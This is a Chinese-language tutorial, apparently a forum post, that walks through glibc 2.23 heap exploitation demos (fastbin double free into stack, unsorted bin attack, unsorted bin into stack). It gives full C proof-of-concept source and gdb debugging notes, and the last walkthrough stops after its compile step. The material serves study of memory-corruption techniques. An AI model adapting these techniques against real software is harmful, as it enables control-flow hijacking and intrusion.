主要工具:
pwncli(https://github.com/RoderickChan/pwncli)
PwnGdb(https://github.com/scwuaptx/Pwngdb)
gdb配置參考(https://bbs.kanxue.com/thread-276203.htm)
主要操作環境:
wsl-kali。配置參考我的另一篇文章(https://bbs.kanxue.com/thread-276122.htm)。
docker desktop鏡像
ubuntu:16.04
ubuntu:18.04
ubuntu:22.04
編譯時可以加-g來方便調試。
ida pro 7.7.7 + gdb調試。
我的.gdbinit文件:
source ~/pwndbg/gdbinit.py
source ~/peda/peda.py
source ~/Pwngdb/pwngdb.py
source ~/Pwngdb/angelheap/gdbinit.py
define hook-run
python
import angelheap
angelheap.init_angelheap()
end
end
#set context-clear-screen on
#set debug-events off
#source /root/splitmind/gdbinit.py
#python
#sections = "regs"
#mode = input("source/disasm/mixed mode:?(s/d/m)") or "d"
#import splitmind
#spliter = splitmind.Mind()
#spliter.select("main").right(display="regs", size="50%")
#gdb.execute("set context-stack-lines 10")
#legend_on = "code"
#if mode == "d":
# legend_on = "disasm"
# sections += " disasm"
# spliter.select("main").above(display="disasm", size="70%", banner="none")
# gdb.execute("set context-code-lines 30")
#elif mode == "s":
# sections += " code"
# spliter.select("main").above(display="code", size="70%", banner="none")
# gdb.execute("set context-source-code-lines 30")
#else:
# sections += " disasm code"
# spliter.select("main").above(display="code", size="70%")
# spliter.select("code").below(display="disasm", size="40%")
# gdb.execute("set context-code-lines 8")
# gdb.execute("set context-source-code-lines 20")
#sections += " args stack backtrace expressions"
#spliter.show("legend", on=legend_on)
#spliter.show("stack", on="regs")
#spliter.show("backtrace", on="regs")
#spliter.show("args", on="regs")
#spliter.show("expressions", on="args")
#gdb.execute("set context-sections \"%s\"" % sections)
#gdb.execute("set show-retaddr-reg on")
#spliter.build()
#end
Glibc2.23版本源碼分析
fastbin_dup_into_stack
源碼:
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
使用ubuntu:16.04進行編譯。

使用pwncli改寫rpath。

在malloc三次后, 0x400743處下斷點。

查看堆信息,三個fastbin的堆塊,f1,f2,f3。

在free(f1),free(f2),free(f1)后,在0x40083B下斷點。

查看fastbinY信息。

0x20大小的fastbins鏈上形成了double free。
再次malloc兩次后,設斷點在0x40089F。

再次查看bins,因為申請兩次后,fastbins中剩下f1(0x60300),而0x60300指向0x603020沒有改變,0x603020指向0x60300也沒變,并且fastbins中的chunk標記為prev_inuse一直為1,所以fastbins中依然保留這個ABA結構。

接下來,查看匯編代碼,StackVar值改為0x20,為了放入0x20大小的fastbins,接下來把f1指向了StackVar以上0x8處,也就是prev_size的位置。將StackVar放入了0x20的fastbins中。在0x40092C處下斷點。

查看堆信息。

這時候在申請兩次便可申請到棧上。

在0x40095c下斷點。

可以看到,已經申請到了棧上的值。
unsorted_bin_attack
源碼:
#include <stdio.h>
#include <stdlib.h>
int main(){
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");
unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);
unsigned long *p=malloc(400);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);
free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);
//------------VULNERABILITY-----------
p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);
//------------------------------------
malloc(400);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}
使用ubuntu:16.04進行編譯,然后使用pwncli改寫rpath。
首先申請了兩個堆塊,第一個堆塊不屬于fastbin大小,先進入unsortedbin中,第二個堆塊為了防止第一塊堆塊與topchunk合并。在free第一個堆塊前設置斷點。

查看bins和heap信息:

free第一個chunk以后,bins和heap信息,unsortedbin里的第一個chunk的fd和bk指向main_arena+0x58的位置。

接下來利用uaf將unsortedbin中的第一個chunk的bk指針(rax存儲的指針指向fd,rax+8指向bk,bk指向后加入的chunk)指向StackVar的prev_size位置。

在0x4007D9處下斷點,查看heap和bins信息。可以看到,0x602000處的chunk的bk指針被改為了一個棧值,fd指向main_arena+0x58的位置。

再次將unsortedbin中第一個chunk給malloc出來以后,unsortedbin中僅剩StackVar-0x10。

在0x400828下斷點。查看heap和bins信息。

可以看到,StackVar的fd指針即用戶區域起始處已被修改為main_arena+0x58的值。
unsorted_bin_into_stack
源碼:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>
void jackpot(){ printf("Nice jump d00d\n"); exit(0); }
int main() {
intptr_t stack_buffer[4] = {0};
printf("Allocating the victim chunk\n");
intptr_t* victim = malloc(0x100);
printf("Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
intptr_t* p1 = malloc(0x100);
printf("Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free(victim);
printf("Create a fake chunk on the stack");
printf("Set size for next allocation and the bk pointer to any writable address");
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;
//------------VULNERABILITY-----------
printf("Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
printf("Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
//------------------------------------
printf("Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
char *p2 = malloc(0x100);
printf("malloc(0x100): %p\n", p2);
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
assert((long)__builtin_return_address(0) == (long)jackpot);
}
使用ubuntu16.04編譯,然后使用pwncli改寫rpath。
聚銘網絡
中國信息安全
中國信息安全
信息安全與通信保密雜志社
商密君
一顆小胡椒
安全圈
安全圈
黑客技術和網絡安全
一顆小胡椒
LemonSec
信息安全與通信保密雜志社